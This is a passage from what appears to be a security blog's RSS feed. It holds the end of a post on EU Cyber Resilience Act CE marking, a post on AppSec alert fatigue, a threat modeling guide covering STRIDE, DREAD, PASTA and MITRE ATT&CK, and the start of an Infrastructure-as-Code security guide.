<li><p>References to used harmonized standards, common specifications, or cybersecurity certifications.</p>
</li>
<li><p>Information on notified body (if applicable), description of assessment procedure, and certificate identification.</p>
</li>
<li><p>Signature by an authorized person, indicating the place and date of issue.</p>
</li>
</ol>
<h2 id="heading-10-ce-marking">10. CE marking</h2>
<p>The CE marking added to the product indicates that the product conforms to the CRA regulations. The following is a summary of the CE marking requirements:</p>
<ol>
<li><p><strong>Affixation</strong>: The CE marking should be visibly, legibly, and indelibly affixed to the product or its packaging, with digital elements being an exception where it can be placed on a website instead of the physical product.</p>
</li>
<li><p><strong>Size</strong>: For products that are digital elements, like software, the CE marking's height may be lower than 5 mm as long as it remains visible and legible.</p>
</li>
<li><p><strong>Timing</strong>: The CE marking must be applied before the product is placed on the market.</p>
</li>
<li><p><strong>Notified Body Identification</strong>: If a notified body is involved in the conformity assessment procedure, its identification number should follow the CE marking.</p>
</li>
<li><p><strong>Compliance with Other Legislation</strong>: If a product is subject to additional EU legislation requiring the CE marking, it must also meet those requirements.</p>
</li>
</ol>
<h2 id="heading-11-references">11. References</h2>
<ol>
<li>Proposal for a REGULATION OF THE EUROPEAN PARLIAMENT AND OF THE COUNCIL on horizontal cybersecurity requirements for products with digital elements and amending Regulation (EU) 2019/1020. <a target="_blank" href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=celex:52022PC0454">https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=celex:52022PC0454</a></li>
</ol>
]]></content:encoded></item><item><title><![CDATA[AppSec Is Drowning in Noise — What Are We Actually Protecting?]]></title><description><![CDATA[Application security was supposed to be a safety net. Lately, it feels more like quicksand. Modern AppSec teams are swamped by an endless stream of alerts…]]></description><link>https://nebulablogs.com/appsec-is-drowning-in-noise-what-are-we-actually-protecting</link><guid isPermaLink="true">https://nebulablogs.com/appsec-is-drowning-in-noise-what-are-we-actually-protecting</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[Application Security]]></category><category><![CDATA[DevSecOps]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Mon, 02 Jun 2025 23:19:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/yJLRlahLrxo/upload/0cac2cb1f33a5bec1daf1a23e4641bab.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>Application security was supposed to be a safety net. Lately, it feels more like quicksand.</p>
<p>Modern AppSec teams are swamped by an endless stream of alerts. The report found on <a target="_blank" href="http://thehackernews.com">thehackernews.com</a> prompted me to think about this issue (<a target="_blank" href="https://thehackernews.com/2025/05/new-research-reveals-95-of-appsec-fixes.html">https://thehackernews.com/2025/05/new-research-reveals-95-of-appsec-fixes.html</a>). OX Security reports that 95–98% of these are non-actionable, with only 202 out of nearly 570,000 alerts per organization representing true, critical issues. Let that sink in: almost everything flagged isn’t actually worth doing anything about. It's no wonder security professionals are burning out — we’ve built systems that demand constant vigilance but rarely deliver clarity.</p>
<h2 id="heading-lost-in-translation-security-and-business-value">Lost in Translation: Security and Business Value</h2>
<p>Here's the uncomfortable truth: when security becomes a bottleneck, the business sees it as friction. Not value.</p>
<p>The consequences of alert fatigue are multifaceted:</p>
<ul>
<li><p><strong>Burnout and Turnover</strong>: Continuous exposure to non-critical alerts leads to desensitization and burnout among security.</p>
</li>
<li><p><strong>Delayed Response to Real Threats</strong>: Critical vulnerabilities may be overlooked amidst the noise, increasing the risk of breaches.</p>
</li>
<li><p><strong>Erosion of Trust</strong>: Developers may become skeptical of security tools that frequently flag non-issues, leading to friction between development and security teams.</p>
</li>
</ul>
<h2 id="heading-what-the-tools-miss">What the Tools Miss</h2>
<p>Automation helps. But it doesn’t solve everything. There are still massive blind spots:</p>
<p>Many tools focus narrowly on code-level issues, overlooking systemic risks such as insecure architecture decisions, poor secrets management, or improper access controls at the infrastructure level.</p>
<p>Tools may fail to consider the business context—what’s a critical flaw in one app might be low-risk in another.</p>
<p>Third-party dependencies and open-source libraries introduce supply chain risks that are difficult to detect with conventional static or dynamic analysis.</p>
<p>These blind spots emphasize the need for human judgment, threat modeling, and cross-functional collaboration to build a more complete and effective AppSec strategy.</p>
<h2 id="heading-turning-the-tide-making-appsec-actually-work">Turning the Tide: Making AppSec Actually Work</h2>
<p>If AppSec is going to deliver real value — to the business, to engineering, and to security teams themselves — it might be time to rethink how we approach it. Here are some ways organizations can begin to shift from reactive noise to meaningful impact:</p>
<ul>
<li><p><strong>Start prioritizing risk, not just volume</strong><br />  Instead of treating every alert equally, consider building a risk-based approach that looks at exploitability, business context, and asset criticality. This doesn't have to mean building a complex scoring system — even simple prioritization rules, based on known business priorities, can help teams focus their time more effectively.</p>
</li>
<li><p><strong>Embed security earlier — but with empathy</strong><br />  “Shift left” doesn’t just mean adding more scanners to your CI/CD pipeline. It means involving security in architecture discussions, design reviews, and sprint planning in a way that supports — not slows — developers. The goal is to make security feel like a partner in building, not a gatekeeper after the fact.</p>
</li>
<li><p><strong>Make continuous learning a team habit</strong><br />  Security training shouldn’t be a once-a-year compliance exercise. Whether it’s monthly threat briefings, hands-on labs, or informal lunch-and-learns, finding lightweight, regular ways to upskill both engineering and security teams can go a long way. Peer-led sessions or gamified exercises can help make it stick.</p>
</li>
<li><p><strong>Treat AppSec as an evolving product</strong><br />  Instead of managing AppSec like a static checklist, think of it as something iterative — like a product you’re building for internal teams. Collect feedback, measure adoption of security tooling and practices, and be willing to adjust based on what’s actually helping developers ship safer code.</p>
</li>
<li><p><strong>Make better use of threat intelligence</strong><br />  Used well, it can help inform patching decisions, improve alert tuning, and provide early warning signs of emerging risks. Consider mapping external threat trends to your own systems and software stack — even just quarterly — to guide where to focus.</p>
</li>
</ul>
<h2 id="heading-this-is-about-more-than-security">This Is About More Than Security</h2>
<p>At its core, this isn’t just a tooling problem — it’s a focus problem.</p>
<p>AppSec was never meant to be about chasing every alert. The real goal is to protect the business by helping teams build and ship safely, without slowing them down. It's about enabling developers to move fast with confidence, while keeping risk to a minimum.</p>
<p>But somewhere along the way, we got buried in noise — dashboards, false positives, and endless triage that pull us away from what actually matters.</p>
<p>If we can cut through that noise and refocus on what counts, AppSec stops being a blocker — and starts showing up as the strategic partner that supports the company’s overall goals.</p>
]]></content:encoded></item><item><title><![CDATA[Threat Modeling: A Complete How-To Guide]]></title><description><![CDATA[Guide on threat modeling: methodology, frameworks, key concepts, tools, and cost-effectiveness for secure systems]]></description><link>https://nebulablogs.com/threat-modeling-a-complete-how-to-guide</link><guid isPermaLink="true">https://nebulablogs.com/threat-modeling-a-complete-how-to-guide</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Sat, 14 Dec 2024 21:01:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Qmsf6GcMro4/upload/15aa934c4493e27dc93fb83b9f20deb3.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>The cornerstone of building secure systems is the use of threat modeling early in the development lifecycle. Threat modeling provides a structured approach to analyze system architecture, identify threats and apply mitigations.</p>
<p>This document introduces threat modeling and why it is necessary. It explores various industry-standard methodologies used for threat modeling. The key concepts and steps involved in performing threat modeling are discussed in detail. Additionally, the document provides information on the open-source and commercial tools available for performing threat modeling and performs a cost-effectiveness analysis on these options</p>
<h3 id="heading-definition-what-is-threat-modeling">Definition – What is Threat Modeling?</h3>
<p>Threat modeling is a systematic assessment of the diagrammatic representation of both cyber and physical systems to identify, understand and communicate threats, associated risks and possible mitigations. Threat modeling is often utilized during the design and development phases of a product or technology and is repeated when significant modifications to the system architecture occur.</p>
<h3 id="heading-threat-modeling-key-concepts">Threat Modeling – Key Concepts</h3>
<p><strong>Asset:</strong> These are the sensitive data, systems, or resources that an attacker may target. Assets can be physical, logical, or intangible, and their value determines the level of protection needed.</p>
<p><strong>Data Flow:</strong> It refers to the movement of sensitive information from one system or component to another along with the direction indicated by arrows. Data flow is usually augmented by protocol used, data type, and authentication and authorization information.</p>
<p><strong>Entry Points and Exit Points:</strong> In threat modeling, entry points refer to the ways that an attacker can initially gain access to an asset or system. Examples include network interfaces (e.g., Ethernet, Wi-Fi), user authentication systems, and physical access points (e.g., doors, key card readers). Exit points are the ways that data or assets can be removed from a system. Examples include data backups, file transfers, and network connections. (e.g., FTP, HTTP).</p>
<p><strong>Trust Boundary:</strong> A trust boundary is a logical or physical separation that defines the perimeter of an asset or system. It identifies where the boundaries between different environments, networks, or systems begin and end. Trust boundaries can take many forms, including:</p>
<ol>
<li><p><strong>Network Segments</strong>: Physical or logical divisions within a network that restrict access to certain segments or zones.</p>
</li>
<li><p><strong>System Isolation</strong>: Logical or physical separation between different systems or components, such as firewalls, VLANs, or isolated networks.</p>
</li>
<li><p><strong>Role-Based Access Control (RBAC)</strong>: Authorization models that restrict access to specific resources based on user roles and permissions.</p>
</li>
</ol>
<p><strong>Scope:</strong> This refers to the specific area of interest in threat modeling. The scope defines what assets, systems, or data are being protected, and what threats need to be considered.</p>
<p><strong>Threats:</strong> These are potential attacks, vulnerabilities, or exploitation that could compromise an asset or system. Threats can come from various sources, such as malicious actors, natural disasters, or systemic failures. Threat modeling frameworks are used to systematically identify and analyze threats.</p>
<p><strong>Attack Vectors:</strong> These are the specific methods or channels through which an attacker might launch a threat. Examples include network connections, interfaces, APIs, social engineering, and physical access.</p>
<p><strong>Interactors:</strong> An Interactor is an external entity that interacts with the system being modeled. It represents a person, organization, or system that can affect the system's behavior or be affected by it.</p>
<p><strong>Data Flow Diagram:</strong> A Data Flow Diagram (DFD) is a graphical representation of the flow of data through a system, showing how data is processed and transformed as it moves through various components and interactions. DFDs are used to identify potential threats and vulnerabilities by visualizing the flow of data between different parts of the system.</p>
<p>The below image shows a representation of the symbols and elements that can be used to model the data flow diagram.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734209146992/66ef785a-d44c-456f-8d00-230b1b9b49a3.png" alt class="image--center mx-auto" /></p>
<p>The below threat model diagram shows an example architecture created by <a target="_blank" href="https://github.com/cncf/financial-user-group/tree/main">CNCF Financial Services User Group.</a></p>
<p><img src="https://documents.trendmicro.com/images/TEx/articles/state-of-kubernetes-p1_fig05cwuB4N0.jpg" alt="Figure 5. Kubernetes data flow diagram by CNCF Financial Services User Group " /></p>
<h2 id="heading-threat-modeling-implementation-process">Threat Modeling Implementation Process</h2>
<h3 id="heading-system-modeling-overview">System Modeling - Overview</h3>
<p>The step of system modeling seeks to understand a system thoroughly by identifying and mapping all relevant components and this step provides a critical foundation for subsequent activities. Although different techniques may be used in this first step of threat modeling, data flow diagrams (DFDs) are arguably the most common approach. DFDs allow one to visually model a system and its interactions with data and other entities; they are created using a few simple symbols.</p>
<p>Depending on the scale and complexity of the system being modeled, multiple DFDs may be required. For example, one could create a DFD representing a high-level overview of the entire system along with a number of more focused DFDs which detail sub-systems. DFDs must provide a clear view of trust boundaries, data flows, data stores, processes, and the external entities which may interact with the system. These often represent possible attack points and provide crucial input for the subsequent steps. The following process can be used to create data flow diagrams.</p>
<h3 id="heading-steps-to-perform-system-modeling">Steps to perform system modeling</h3>
<p><strong>Scope identification:</strong> Identify the target product and its components that need to be modeled and assessed. Understand the product architecture and how the different components interact with each other and with the external entities (such as customers using web browser, software developers, system administrators and other IT systems using public APIs.)</p>
<p><strong>Mapping the components:</strong> The core components of the product (such as Frontend web-interface, backend APIs, Access Management solutions) are represented in the data flow diagram.</p>
<p><strong>Adding Data Stores:</strong> Identify the ephemeral and persistent storage locations used by the application or IT system, such as databases or disk storage.</p>
<p><strong>Identifying the external entities:</strong> Identify the external entities that interact with the system. These may include customers, software developers, system administrators, and other IT systems using public APIs.</p>
<p><strong>Defining the trust boundaries:</strong> Define the trust boundaries between the different components and external entities. This includes identifying the boundaries that separate the different environments, networks, or systems.</p>
<p><strong>Identifying the data flows:</strong> Identify the data flows between the different components and external entities. This includes identifying the data that is transferred between them, the direction of the data flow, and the protocols used.</p>
<h3 id="heading-threat-modeling-frameworks">Threat modeling frameworks</h3>
<h4 id="heading-adam-shostacks-four-question-framework">Adam Shostack’s Four-Question Framework</h4>
<p>A concise process pioneered by <a target="_blank" href="https://shostack.org/resources/threat-modeling">Adam Shostack</a>, an expert in the threat modeling industry. This framework attempts to breakdown threat analysis in easy-to-interpret, open-ended questions. The four questions are as follows:</p>
<ol>
<li><p><strong>What are we working on?</strong> Understand the system or project you’re dealing with. Identify its components, boundaries, and purpose.</p>
</li>
<li><p><strong>What can go wrong?</strong> Explore potential threats, vulnerabilities, and attack vectors. Consider various scenarios that could compromise security.</p>
</li>
<li><p><strong>What are we going to do about it?</strong> Develop mitigation strategies. Decide how to address identified risks, whether through design changes, controls, or other measures.</p>
</li>
<li><p><strong>Did we do a good job?</strong> Continuously assess and improve your threat modeling process. Strive for ongoing refinement and effectiveness.</p>
</li>
</ol>
<p>Amazon’s threat-composer, a threat modeling tool, utilizes this framework to help engineers identify useful and actionable threats and provides insights to improve the quality and coverage of the threat modeling practice iteratively.</p>
<h4 id="heading-stride-framework">STRIDE Framework</h4>
<p>The STRIDE model is an extremely popular threat identification technique introduced by Microsoft and in the publicly available and widely adopted tool: Microsoft Threat Modeling tool. STRIDE methodology is defined as follows:</p>
<ul>
<li><p><strong>Spoofing identity.</strong> An example of identity spoofing is illegally accessing and then using another user's authentication information, such as username and password.</p>
</li>
<li><p><strong>Tampering with data.</strong> Data tampering involves the malicious modification of data. Examples include unauthorized changes made to persistent data, such as that held in a database, and the alteration of data as it flows between two computers over an open network, such as the Internet.</p>
</li>
<li><p><strong>Repudiation.</strong> Repudiation threats are associated with users who deny performing an action without other parties having any way to prove otherwise—for example, a user performs an illegal operation in a system that lacks the ability to trace the prohibited operations. Non-repudiation refers to the ability of a system to counter repudiation threats. For example, a user who purchases an item might have to sign for the item upon receipt. The vendor can then use the signed receipt as evidence that the user did receive the package.</p>
</li>
<li><p><strong>Information disclosure.</strong> Information disclosure threats involve the exposure of information to individuals who are not supposed to have access to it—for example, the ability of users to read a file that they were not granted access to, or the ability of an intruder to read data in transit between two computers.</p>
</li>
<li><p><strong>Denial of service.</strong> Denial of service (DoS) attacks deny service to valid users—for example, by making a Web server temporarily unavailable or unusable. You must protect against certain types of DoS threats simply to improve system availability and reliability.</p>
</li>
<li><p><strong>Elevation of privilege.</strong> In this type of threat, an unprivileged user gains privileged access and thereby has sufficient access to compromise or destroy the entire system. Elevation of privilege threats include those situations in which an attacker has effectively penetrated all system defenses and become part of the trusted system itself, a dangerous situation indeed.</p>
</li>
</ul>
<h4 id="heading-dread-framework">DREAD Framework</h4>
<p>Another risk assessment framework introduced by Microsoft that was conceived of as an add-on to the STRIDE model that allows modelers to rank threats once they’ve been identified. DREAD stands for five questions you would ask about each potential threat:</p>
<ul>
<li><p><strong>Damage</strong> – how bad would an attack be?</p>
</li>
<li><p><strong>Reproducibility</strong> – how easy is it to reproduce the attack?</p>
</li>
<li><p><strong>Exploitability</strong> – how much work is it to launch the attack?</p>
</li>
<li><p><strong>Affected users</strong> – how many people will be impacted?</p>
</li>
<li><p><strong>Discoverability</strong> – how easy is it to discover the threat</p>
</li>
</ul>
<h4 id="heading-vast-modeling">VAST Modeling</h4>
<p>The Visual, Agile, and Simple Threat (VAST) modeling method was created based on ThreatModeler, an automated threat modeling platform. The fundamental value of the method is the scalability and usability since it is designed to integrate into workflows built around the DevOps philosophy. Recognizing differences in operations and concerns among development and infrastructure teams, VAST requires creating two types of models: application threat models and operational threat models.</p>
<ul>
<li><p><strong>Application threat models</strong> use process flow diagrams, representing the architectural point of view.</p>
</li>
<li><p><strong>Operational threat models</strong> are created with an attacker point of view in mind based on DFDs.</p>
</li>
</ul>
<h4 id="heading-process-for-attack-simulation-and-threat-analysis-pasta-framework">Process for Attack Simulation and Threat Analysis (PASTA) Framework</h4>
<p>The Process for Attack Simulation and Threat Analysis (PASTA) is a risk-centric threat modeling framework used in organizations such as GitLab as their internal threat modeling standard. PASTA is a risk-centric threat modeling methodology that allows for collaboration between developers and business stakeholders to truly understand your application’s inherent risk, its likelihood of attack, and the business impact if there was a compromise.</p>
<p>PASTA is based on seven distinct steps as shown in the below diagram:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734210190851/008526b9-3294-4bde-a0bc-de535a553623.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-enumerate-attack-vectors-and-identified-threats">Enumerate Attack Vectors and Identified Threats</h3>
<p>Leveraging existing frameworks such as MITRE ATT&amp;CK, CAPEC and CWE will provide a standardized way to categorize potential attack vectors, common attack patterns and software weaknesses.</p>
<h4 id="heading-mitre-attampck">MITRE ATT&amp;CK</h4>
<p>The MITRE ATT&amp;CK framework (MITRE ATT&amp;CK) is a universally accessible, continuously updated knowledge base for modeling, detecting, preventing and fighting cybersecurity threats based on cybercriminals’ known adversarial behaviors. It is populated mainly by publicly available threat intelligence and incident reporting, as well as by research on new techniques contributed by cybersecurity analysts and threat hunters. MITRE ATT&amp;CK catalogs cybercriminal tactics, techniques and procedures (TTPs) through each phase of the cyberattack lifecycle—from an attacker's initial information gathering and planning behaviors, through to the ultimate execution of the attack which can be used to identify potential attack vectors in threat models. Link to the matrix of tactics and techniques used against Industrial Control Systems (ICS) can be found here: <a target="_blank" href="https://attack.mitre.org/matrices/ics/">https://attack.mitre.org/matrices/ics/</a></p>
<h4 id="heading-common-attack-pattern-enumeration-and-classification-capec">Common Attack Pattern Enumeration and Classification (CAPEC)</h4>
<p>CAPEC offers a structured approach to identifying and analyzing attack patterns. It focuses on application security and describes the common attributes and techniques employed by adversaries to exploit known weaknesses in cyber-enabled capabilities. The information in a CAPEC profile is extensive. For example, CAPECs include an ID for tracking and correlation, attack name, high-level description, attack execution procedure, attack prerequisites, severity scope and score, attacker skill requirements, attack success rates, and mapping to CWE (Common Weakness Enumeration).</p>
<h4 id="heading-common-weakness-enumeration-cwe">Common Weakness Enumeration (CWE)</h4>
<p>CWE provides a common language and framework for classifying software weaknesses. A “weakness” is a condition in a software, firmware, hardware, or service component that, under certain circumstances, could contribute to the introduction of vulnerabilities. The objective of the CWE is to eliminate potential vulnerabilities by identifying the most common errors made by developers and engineers so that they avoid these problems in the products and systems they build. The list of CWEs is organized with a taxonomy that makes it easier to find, identify and describe these weaknesses in a way that is easily understood by the entire community.</p>
<h3 id="heading-response-and-mitigations">Response and Mitigations</h3>
<h4 id="heading-categorizing-identified-threats-using-cvss">Categorizing identified threats using CVSS</h4>
<p>Threats can be categorized based on their likelihood of occurrence, potential impact, and the level of risk they pose using CVSS metrics. It allows us to quantify risk and objectively assess and mitigate threats. The Common Vulnerability Scoring System (CVSS) is an industry standard framework for communicating the characteristics and severity of software vulnerabilities. The latest version, CVSS 4.0 consists of four metric groups: Base, Threat, Environmental, and Supplemental. The official CVSS 4.0 calculator is available at <a target="_blank" href="https://www.first.org/cvss/calculator/4.0#">https://www.first.org/cvss/calculator/4.0#</a> The CVSS score of the threat will be used to determine the severity level and the identified threats can be prioritized based on its corresponding severity level.</p>
<h4 id="heading-applying-countermeasures-and-threat-mitigations">Applying countermeasures and threat mitigations</h4>
<p>Equipped with an understanding of both the system and applicable threats, it is now time to address them. Each threat identified earlier must have a response. Threat responses are similar, but not identical, to risk responses. The following are different response plans:</p>
<ul>
<li><p>Avoid (resolve)</p>
</li>
<li><p>Mitigate (reduce)</p>
</li>
<li><p>Accept</p>
</li>
<li><p>Transfer</p>
</li>
</ul>
<p>If one decides to mitigate a threat, mitigation strategies must be formulated and documented as requirements. Depending on the complexity of the system, nature of threats identified, and the process used for identifying threats (STRIDE or another method), mitigation responses may be applied at either the category or individual threat level. In the former case, the mitigation would apply to all threats within that category.</p>
<p>Mitigations strategies must be actionable not hypothetical; they must be something that can actually be built into to the system being developed. Although mitigations strategies must be tailored to the particular application, the resources provided below can prove valuable when formulating these responses.</p>
<h4 id="heading-mitre-d3fend">MITRE D3FEND</h4>
<p>MITRE D3FEND is a knowledge base that serves as a library of defensive cybersecurity countermeasures, technical components, and their associations and capabilities. It is complementary to the MITRE ATT&amp;CK framework of cybercriminals’ Tactics, Techniques, and Procedures (TTP) introduced earlier. The knowledge-graph of the cybersecurity countermeasures are located here: <a target="_blank" href="https://d3fend.mitre.org/">https://d3fend.mitre.org/</a></p>
<h4 id="heading-owasp-cheat-sheet-series">OWASP Cheat Sheet Series</h4>
<p>The Open Worldwide Application Security Project (OWASP) is an online community that produces freely available articles, methodologies, documentation, tools, and technologies in the fields of IoT, system software and web application security. The OWASP Cheat Sheet Series provides a concise collection of high value information on specific application security topics. These cheat sheets were created by various application security professionals who have expertise in specific topics. This information is highly valuable to identify proper mitigation and security controls for application vulnerabilities. The OWASP documentation can be found here: <a target="_blank" href="https://cheatsheetseries.owasp.org/index.html">https://cheatsheetseries.owasp.org/index.html</a></p>
<h4 id="heading-microsoft-threat-modeling-tool-mitigations">Microsoft Threat Modeling Tool mitigations</h4>
<p>The Threat Modeling Tool mitigations are categorized according to the Web Application Security Frame, which consists of the following:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Category</td><td>Description</td></tr>
</thead>
<tbody>
<tr>
<td>Auditing and Logging</td><td>Who did what and when? Auditing and logging refer to how your application records security-related events</td></tr>
<tr>
<td>Authentication</td><td>Who are you? Authentication is the process where an entity proves the identity of another entity, typically through credentials, such as a username and password</td></tr>
<tr>
<td>Authorization</td><td>What can you do? Authorization is how your application provides access controls for resources and operations</td></tr>
<tr>
<td>Communication Security</td><td>Who are you talking to? Communication Security ensures all communication done is as secure as possible</td></tr>
<tr>
<td>Configuration Management</td><td>Who does your application run as? Which databases does it connect to? How is your application administered? How are these settings secured? Configuration management refers to how your application handles these operational issues</td></tr>
<tr>
<td>Cryptography</td><td>How are you keeping secrets (confidentiality)? How are you tamper-proofing your data or libraries (integrity)? How are you providing seeds for random values that must be cryptographically strong? Cryptography refers to how your application enforces confidentiality and integrity</td></tr>
<tr>
<td>Exception Management</td><td>When a method call in your application fails, what does your application do? How much do you reveal? Do you return friendly error information to end users? Do you pass valuable exception information back to the caller? Does your application fail gracefully?</td></tr>
<tr>
<td>Input Validation</td><td>How do you know that the input your application receives is valid and safe? Input validation refers to how your application filters, scrubs, or rejects input before additional processing. Consider constraining input through entry points and encoding output through exit points. Do you trust data from sources such as databases and file shares?</td></tr>
<tr>
<td>Sensitive Data</td><td>How does your application handle sensitive data? Sensitive data refers to how your application handles any data that must be protected either in memory, over the network, or in persistent stores</td></tr>
<tr>
<td>Session Management</td><td>How does your application handle and protect user sessions? A session refers to a series of related interactions between a user and your Web application</td></tr>
</tbody>
</table>
</div><p>In-depth information about the mitigation strategies for each of the categories can be found here: <a target="_blank" href="https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-mitigations">https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-mitigations</a></p>
<h3 id="heading-documentation-and-reporting">Documentation and Reporting</h3>
<p>Once threats and corresponding countermeasures are identified, it is possible to develop a threat profile with the following criteria:</p>
<ul>
<li><p><strong>Non-mitigated threats:</strong> Threats which have no countermeasures and represent vulnerabilities that can be fully exploited and cause an impact.</p>
</li>
<li><p><strong>Partially mitigated threats:</strong> Threats partially mitigated by one or more countermeasures and can only partially be exploited to cause a limited impact.</p>
</li>
<li><p><strong>Fully mitigated threats:</strong> These threats have appropriate countermeasures in place and do not expose vulnerabilities.</p>
</li>
</ul>
<p>The risk and potential impact of the partially mitigated and non-mitigated threats are aggregated and summarized. The final report is presented to the relevant stakeholders and management for review.</p>
<p>The reviewers generally consider the organization’s risk appetite, applicable industry regulations, legal implications and the overall business goals of the product to ensure that the reported risk level is in the acceptable range or if further actions are required to improve the product’s security posture.</p>
<h2 id="heading-threat-modeling-tools">Threat Modeling Tools</h2>
<p>Following are some open-source and commercial tools available for automating some aspects of performing threat modeling.</p>
<p>Commercial tools:</p>
<ul>
<li><p>IriusRisk</p>
</li>
<li><p>ThreatModeler</p>
</li>
<li><p>SD Blueprint by Security Compass</p>
</li>
</ul>
<p>Open-source or free to use tools:</p>
<ul>
<li><p>Cairis</p>
</li>
<li><p>OWASP Threat Dragon</p>
</li>
<li><p>Threagile</p>
</li>
<li><p>Microsoft Threat Modeling Tool</p>
</li>
<li><p>OWASP pytm</p>
</li>
<li><p>Amazon’s threat-composer</p>
</li>
<li><p>SeaSponge</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[A Guide to Strengthening Infrastructure as Code (IaC) Security]]></title><description><![CDATA[Infrastructure as code (IaC), also known as software-defined infrastructure, allows the configuration and deployment of infrastructure components faster…]]></description><link>https://nebulablogs.com/a-guide-to-strengthening-infrastructure-as-code-iac-security</link><guid isPermaLink="true">https://nebulablogs.com/a-guide-to-strengthening-infrastructure-as-code-iac-security</guid><category><![CDATA[DevSecOps]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Fri, 06 Dec 2024 22:13:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/vPXP2Kgo_rY/upload/237ca07e336fa886066c11da4a6ce9cf.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>Infrastructure as code (IaC), also known as software-defined infrastructure, allows the configuration and deployment of infrastructure components faster with consistency by allowing them to be defined as a code and also enables repeatable deployments across environments.</p>
<h2 id="heading-purpose">Purpose</h2>
<p>The primary purpose of IaC Security is to:</p>
<ul>
<li><p><strong>Ensure Compliance</strong>: Align infrastructure configurations with organizational policies and regulatory requirements.</p>
</li>
<li><p><strong>Detect Misconfigurations</strong>: Identify potential security risks or inefficiencies in the infrastructure setup that could lead to data breaches, performance issues, or unauthorized access.</p>
</li>
<li><p><strong>Optimize Costs</strong>: Ensure resources are being used efficiently without unnecessary expenses due to mismanagement or over-provisioning.</p>
</li>
<li><p><strong>Maintain Consistency</strong>: Guarantee uniformity across different environments and teams, reducing errors and inconsistencies.</p>
</li>
</ul>
<h2 id="heading-implementation-steps">Implementation Steps</h2>
<h3 id="heading-static-code-analysis-for-iac">Static Code Analysis for IaC</h3>
<p>Ensuring that the IaC code is developed and maintained in a secure manner, including by following industry-standard practices, using testing frameworks to validate changes, and using version control to track changes to the code.</p>
<p>Use of IDE plugins and automated code analysis tools can help to identify potential security issues in the code as early as possible.</p>
<h4 id="heading-linting">Linting</h4>
<p><a target="_blank" href="https://github.com/terraform-linters/tflint">TFLint</a> is a Terraform linter that provides a set of rules for identifying potential issues in Terraform code. It can be used to enforce security best practices and to catch common mistakes and errors.</p>
<p><a target="_blank" href="https://github.com/hadolint/hadolint">Hadolint</a> is a Dockerfile linter that helps you build best practice Docker images.</p>
<h4 id="heading-identify-iac-misconfigurations">Identify IaC misconfigurations</h4>
<p><a target="_blank" href="https://github.com/bridgecrewio/checkov">Checkov</a> is a static code analysis tool for IaC. It scans cloud infrastructure provisioned using Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI or ARM Templates and detects security and compliance misconfigurations using graph-based scanning.</p>
<h4 id="heading-identify-hard-coded-or-leaked-secrets">Identify hard-coded or leaked secrets</h4>
<p><a target="_blank" href="https://github.com/GitGuardian/ggshield">GGShield</a> is a CLI application that runs in the local environment or in a CI environment to help detect secrets and scan for infrastructure as code vulnerabilities.</p>
<p><a target="_blank" href="https://github.com/trufflesecurity/trufflehog">TruffleHog</a> is a tool for detecting and scanning for secrets in code repositories.</p>
<h2 id="heading-deployment">Deployment</h2>
<h3 id="heading-inventory-management">Inventory Management</h3>
<p><strong>Commissioning</strong> - whenever a resource is deployed, ensure the resource is labeled, tracked and logged as part of the inventory management.</p>
<p><strong>Decommissioning</strong> - whenever a resource deletion is initiated, ensure the underlying configurations are erased, data is securely deleted and the resource is completely removed from the runtime as well as from the inventory management.</p>
<p><strong>Tagging</strong> - It is essential to tag cloud assets properly. During IaC operations, untagged assets are most likely to result in ghost resources that make it difficult to detect, visualize, and gain observability within the cloud environment and can affect the posture causing a drift. These ghost resources can add to billing costs, make maintenance difficult, and affect the reliability. The only solution to this is careful tagging and monitoring for untagged resources.</p>
<h3 id="heading-immutable-infrastructure">Immutable Infrastructure</h3>
<p>The idea behind immutable infrastructure is to ensure that the infrastructure changes are built around a specific set of requirements and further changes are tracked, tested and validated before they are deployed. This approach helps to prevent unintended changes, reduces the risk of errors, and ensures that the cloud environment is consistent and reliable and prevents configuration drift.</p>
<h2 id="heading-monitoring-and-maintenance">Monitoring and Maintenance</h2>
<h3 id="heading-continuous-monitoring">Continuous Monitoring</h3>
<p>Once IaC has been deployed, continuous monitoring is essential to ensure ongoing security, compliance, and efficiency. Tools like <a target="_blank" href="https://www.openpolicyagent.org/">OPA</a> (Open Policy Agent) <strong>AWS Config</strong>, <strong>Azure Policy</strong>, or <strong>Google Cloud Config Validator</strong> can help monitor infrastructure changes and ensure compliance with organizational policies. Additionally, real-time alerting systems should be in place to notify teams of any anomalies or unauthorized changes.</p>
<h3 id="heading-security-audits">Security Audits</h3>
<p>Periodic security audits are a vital part of maintaining IaC security. These audits should evaluate the effectiveness of current configurations, identify areas for improvement, and ensure compliance with the latest industry standards and regulations.</p>
<h2 id="heading-best-practices-for-iac-security-implementation">Best Practices for IaC Security Implementation</h2>
<ol>
<li><p><strong>Shift Left Security</strong><br /> Incorporate security checks early in the development lifecycle. This reduces the cost and complexity of fixing issues later on.</p>
</li>
